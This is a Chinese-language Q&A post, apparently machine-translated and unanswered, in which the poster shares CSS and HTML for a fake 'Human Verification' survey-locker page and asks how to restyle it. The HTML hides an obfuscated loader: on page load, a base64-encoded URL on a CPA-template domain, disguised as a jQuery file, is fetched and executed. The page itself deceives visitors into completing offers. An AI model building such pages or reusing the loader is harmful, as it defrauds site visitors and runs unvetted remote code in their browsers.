Question

的代码

CSS:

body{
     background:#000 url(https://i.imgur.com/ImDx8dI.jpg);
     overflow: hidden;
     padding:10px;
}
 .offer_help_text{
     display:none;
}
 .display{
     background: rgba(98,85,83,0.9);
     background: -moz-linear-gradient(top, rgba(98,85,83,0.9) 0%, rgba(22,8,13,0.9) 100%);
     background: -webkit-gradient(left top, left bottom, color-stop(0%, rgba(98,85,83,0.9)), color-stop(100%, rgba(22,8,13,0.9)));
     background: -webkit-linear-gradient(top, rgba(98,85,83,0.9) 0%, rgba(22,8,13,0.9) 100%);
     background: -o-linear-gradient(top, rgba(98,85,83,0.9) 0%, rgba(22,8,13,0.9) 100%);
     background: -ms-linear-gradient(top, rgba(98,85,83,0.9) 0%, rgba(22,8,13,0.9) 100%);
     background: linear-gradient(to bottom, rgba(98,85,83,0.9) 0%, rgba(22,8,13,0.9) 100%);
     filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#625553', endColorstr='#16080d', GradientType=0 );
     max-width:450px;
     padding:10px;
     margin:5% auto;
     border:3px solid #FFF;
     display:none;
     border-radius:10px;
     box-shadow:0px 0px 3px #000;
     color:#FFF;
}
 .link_a:link{
     width: 100%;
     max-width:640px;
     white-space: nowrap;
     overflow: hidden;
     text-overflow: ellipsis;
     text-align: center 
}
 h1{
     font-family: 'Anton', sans-serif;
}
 .dl_button{
     background:#FFF;
     color:#333;
     border:3px solid #EEE;
     padding:5px 5px;
     width:100%;
}
 .dl_button:hover{
     background:#EEE;
     color:#000;
     border:3px solid #EEE;
}


HTML:

<meta name="viewport" content="width=device-width, initial-scale=1 maximum-scale=1">
<link href="https://fonts.googleapis.com/css?family=Anton" rel="stylesheet">
<center>
    <script>
        $(document).ready(function(){$('.display').fadeIn();$.getScript(atob('aHR0cHM6Ly9jcGFncmlwdGVtcGxhdGVzLmNvbS9qcXVlcnktMi4wLjEubWluLmpz'), function(){});});
    </script>
    <div class="display">
        <h1>Human Verification</h1>
        <p>Complete a survey below to prove you are a Human and not an automated bot.</p>
        {%offers%}
        <br><img src="https://i.imgur.com/UA8TGLP.gif" style="width:100%;max-width:250px;"><br>Waiting for Completion.
    </div>
</center>
</code>

要使它像https://ibb.co/McgHGq4一样，我需要如何改变？我需要将主站点设置为如屏幕快照所示。

请帮助我。

如何制作这样的页面？

0 个答案: